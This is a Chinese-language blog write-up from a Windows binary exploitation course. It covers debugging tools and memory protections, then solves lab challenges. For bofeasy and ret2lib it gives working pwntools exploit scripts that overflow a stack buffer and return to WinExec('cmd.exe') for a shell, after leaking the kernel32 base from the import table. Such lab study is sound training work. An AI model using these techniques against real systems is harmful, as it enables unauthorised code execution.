Windows Pwn 隨筆

Before all

很感謝台灣好厲駭這次邀請了Angel Boy大大來講Windows Pwn這個神祕的課程領域,過去對於windows pwn的利用多半是HTB/THM上面的靶機,直接把linux的想法套上去就很常出bug,有這次的機會把我拉回來看底層的基本知識&理解真的很開心w

Basic Tools & Reverse

課程 or 之前看過ㄉ就放一放
只想再說一遍:~~Reverse不只是一隻龍或一個阿嬤的天下啊~~~
但這篇就先當作讀者會用ghidra/ida而且會linux stack pwn了 :D

PE-Bear

Link: https://github.com/hasherezade/pe-bear/releases/tag/v0.7.0

下載後直接丟進去就可以方便的瀏覽 strings/Header 等資料ㄌ,disasm還是交給idaㄅ

image

image

然後也可以很方便的改這些 Headers

DLL Export Viewer

把dll拖進去會dump所有調用的函數出來
拿Kernel32為例:
image

windbg & x64dbg

只能說,都是很棒的動態debugger,但我還不太會用

紀錄幾個windbg坑:

  • 需要跳成管理員權限
  • launch app 的時候選項開 debug(advance)
  • breakpoint 可以設 condition:
    1
    bp 0xdeadbeef ".if @eax = 0xc0004321  {} .else {gc}"

winchecksec

https://github.com/trailofbits/winchecksec

有release下載,用法跟 linux 裡面的 checksec 一模一樣
image

rp

Windows上的ROP Gadget
Link: https://github.com/0vercl0k/rp

保護機制

老生常談啊 💤

  • DEP:NX,可寫不可執行,可執行不可寫
  • Security Cookie(GS):Stack Canary
  • ASLR:地址隨機化,開了在Windows上面Stack和Heap每次都會變,但library裡的只有重開機會改變
  • CFG:linker時先規範哪些函數可被調用
  • ACG:禁止 allocated 一塊 r/w/x 的記憶體
  • Child Process Policy:不可以開child process(也就是不能winExec(“cmd.exe”))

一些結構

DLL

動態連結的函式庫,可以縮解程式碼量(如果g++/gcc compile加上--static flag就會把它包進去)

  • ntdll.dll:包含windows原生地底層api,通常不會直接呼叫
  • kernel32.dll:包含win32常被呼叫的函數
  • kernelbase.dll:在Win7以後的版本把kernel32.dll重要的函數移到這邊
  • msvcrt.dll/ucrtbase.dl:windows上的C語言函式庫

IAT

存放使用函數的指標陣列,在loading time時就會載入

題解 Write Up

Source: https://github.com/William957-web/Angel-Boy-Windows-Pwn-Holihigh/tree/main

題目架設我是下載了 Nmap(link),開啟ncat
然後:

1
ncat -kvl 10001 -c .\bofeasy.exe

就可以在 port 10001 nc/telnet 到目標了

WinMagic

很開心的打開Binary後發現有symbol
Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
//g++ -g -o Winmagic.exe .\Winmagic.cpp -fpermissive
#include <iostream>
#include <io.h>
#include <stdlib.h>
#include <time.h>
#include <windows.h>
#include <cstdint>

void get_flag2() {
const char key[] = "Do_you_know_why_my_teammate_Orange_is_so_angry?";
char cipher[] = {
'\x02', '#', '\x1e', '>', '\x14', '"', '6', '\x05', '\n', '\r',
'\x10', '\x00', '\x1e', '\x1b', '&', 'k', '\x01', '\n', '0', '+',
'\x13', '\x04', '\x1f', '\x14', '>', '\x1c', '\x00', '3', '?', '4',
'\x14', '\x02', '8', '#', '0', '\x1b', ',', '-', '@', '\x19',
'l', '\x13', '\x1d', '\x0e', '\x1c', '\x1e', 'B'
};

for (size_t i = 0; i < sizeof(cipher); i++) {
printf("%c", cipher[i] ^ key[i]);
}
getchar();
}

void get_flag3() {
const char key[] = "Do_you_know_why_my_teammate_jeffxx_is_so_angry??????????";
char cipher[] = {
'\x02', '#', '\x1e', '>', '\x14', '6', '0', '\x05', '\n', '\x06',
'\x03', 'n', '\x18', '\x06', '&', '=', '\x1f', '\x1c', '>', '\x1f',
'\x15', 'Q', '\x04', '\x03', '\x15', '\x07', ':', 'k', '\x18', 'V',
'9', '\x05', '\x17', '\x16', ')', '\x0c', '\x1d', '6', '\x16', '\x01',
'+', '>', '\x07', '\t', '-', '\x0b', 'Z', '^', 'S', '`',
'H', '\x0f', 'M', 'S', '[', 'B'
};

for (size_t i = 0; i < sizeof(cipher); i++) {
printf("%c", cipher[i] ^ key[i] ^ rand());
}
getchar();
}

void get_flag() {
int password;
int magic;
srand((unsigned int)time(NULL));

const char key[] = "Do_you_know_why_my_teammate_ddaa_is_so_angry??????";
const char cipher[] = {
'\x02', '#', '\x1e', '>', '\x14', '"', '6', '\x05', '*', '\r',
'\x10', '\x00', '\x1e', '\x1b', '&', ')', '\x08', '\x0b', '&', '+',
'\x0c', '\x0c', '\x1d', '\x02', '\x13', '\x00', '\x04', '1', '\x10', ';',
'P', '\x0f', '\x00', '\x1e', '\x1a', '1', '\x17', '\x00', '(', '\x12',
'1', '\x14', 'A', '\x1a', 'J', 'M', 'V', 'K', 'F', 'B'
};

password = rand();
printf("Give me magic: ");
scanf_s("%d", &magic);

if (password == magic) {
printf("Success!!!\n");
for (size_t i = 0; i < sizeof(cipher); i++) {
printf("%c", cipher[i] ^ key[i]);
}
} else {
printf("Failed. QQ\n");
}
getchar();
}

int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
get_flag();

if ((std::uintptr_t)&main == 0xddaa) {
get_flag2();
get_flag3();
}

return 0;
}

下斷點:

1
2
3
4
bp get_flag
bp main+0x60
bp main+0x67
bp get_flag3

接著進到get_flag後就不斷的按p進到下一步
image

進到main+0x60main+0x67後用r去設定rax的value(CMP是對RAX)
改掉rax值

1
r rax=0xddaa

最後進到get_flag3就可以看到leak的資料惹w

image

image

bofeasy

先RECON
image

沒有開Canary,安心overflow
會給main address,overflow的size是48,如果要蓋掉ret address記得蓋8 bytes rbp
l33t函數:
image
注意到MOV和PUSH RBP都在main做過了,應該跳到 SUB RSP,0x20 這邊
距離算一下是 50
P.S. Windows要CRLF,自己改r.newline
Exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r=remote('192.168.36.130', 10001)
r.newline=b'\r\n'

main_addr=r.recvline()[:-1].decode()
main_addr=int(main_addr.split(': ')[1], 16)
print(hex(main_addr))
l33t_addr=main_addr-50
r.sendline(b'a'*56+p64(l33t_addr))
r.sendline(b'type flag.txt')
r.interactive()

ret2lib

整體流程為:取得IAT表位置->取得IAT表中某個函數的地址 -> 用它算出KERNEL32 base -> 跳回去

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//g++ -g -o ret2lib.exe ret2lib.cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

void See_something(unsigned long long addr) {
unsigned long long* address;
address = (unsigned long long*)addr;
printf("The content of the address : %p\n", *address);
};

char name[20];

char* getname(char* username) {
return strdup(name);
}

int main() {
printf("Main:%p\n", &main);
setvbuf(stdout, 0, _IONBF, 0);
char address[20];
char message[256];
unsigned long long addr = 0;
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
printf("Name:");
read(0, name, 20);
puts("What do you want to see in memory?");
printf("Give me an address (in hex) :");
read(0, address, 20);
addr = strtoll(address, 0, 16);
See_something(addr);
printf("Leave some message for me :");
read(0, message, 0x400);
printf("%s\n", message);
puts("Thanks you");
getname(name);
return 0;
}

看的出來gets可以BOF,一開始就會給main地址並且允許你取得一個地址上的值

RECON:
image

沒有GS(Canary),但有開ASLR和NX,先用windbg觀察:
算一下
image

可以取得main-base偏移量是5253

接著透過PE-Bear的Optional Header找到IAT表OFFSET:
image

image
給了一些kernel32上的functions,如果可以取得上面的值就可以算出與kernel32的距離
像這樣 :D
image

取得我想要用的KERNEL32!GetLastErrorStub與KERNEL32的距離(88976)

接下來就是嘗試跳到WinExec上做RCE
這邊我用dll export viewer的結果算完全是錯的…
所以改用windbg的功能,lm後再kernel32上點兩下,就會有一堆function可以選
image

找到winexec就能算距離了
image

接著是overflow,開ghidra
image

padding大小是0x128,蓋成winexec後用windbg的lauch process功能追到這次執行會發現沒跑到winexec…
跟linux pwn時一些像system的函數一樣,這種函數在stack上要對齊0x10,所以塞一個return
image
使用main上面的ret(base_addr+0x1600/main+0x17b)

再追進去會發現一開始拿來當name的whale120(我輸入的name)被當成rcx去跑winexec,是因為最後那個getname(&name)的緣故,所以輸入cmd.exe\x00即可getshell!

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch='amd64'
r=remote('192.168.36.130', 10002)
r.newline=b'\r\n'

main_addr=r.recvline()[:-1].decode().split(':')[1]
main_addr=int(main_addr, 16)
base_addr=main_addr-5253
info(f"Base Address: {hex(base_addr)}")
iat_addr=base_addr+0x8268
r.recv()
r.sendline(b'cmd.exe\x00')
r.recv()
r.send(hex(iat_addr+0x10).encode())
r.recv()
GetLastErrorStub=r.recv().decode().split('address : ')[1].split('\n')[0]
GetLastErrorStub=int(GetLastErrorStub, 16)
kernel32_addr=GetLastErrorStub-88976
info(f"Kernel32 Address: {hex(kernel32_addr)}")
winexec_addr=kernel32_addr+417728
ret_addr=base_addr+0x1600

r.sendline(b'a'*0x128+flat(ret_addr, winexec_addr))
r.sendline(b'type flag.txt')
r.interactive()

PWNED!!
image

ret2sc

目前ret2shellcode是壞掉的,改天再來補(實務上拿msfvenom改好像蠻方便 😅)
大致流程就是從 Export Directory Table 找到WinExec的RVA,然後把他抓出來打shell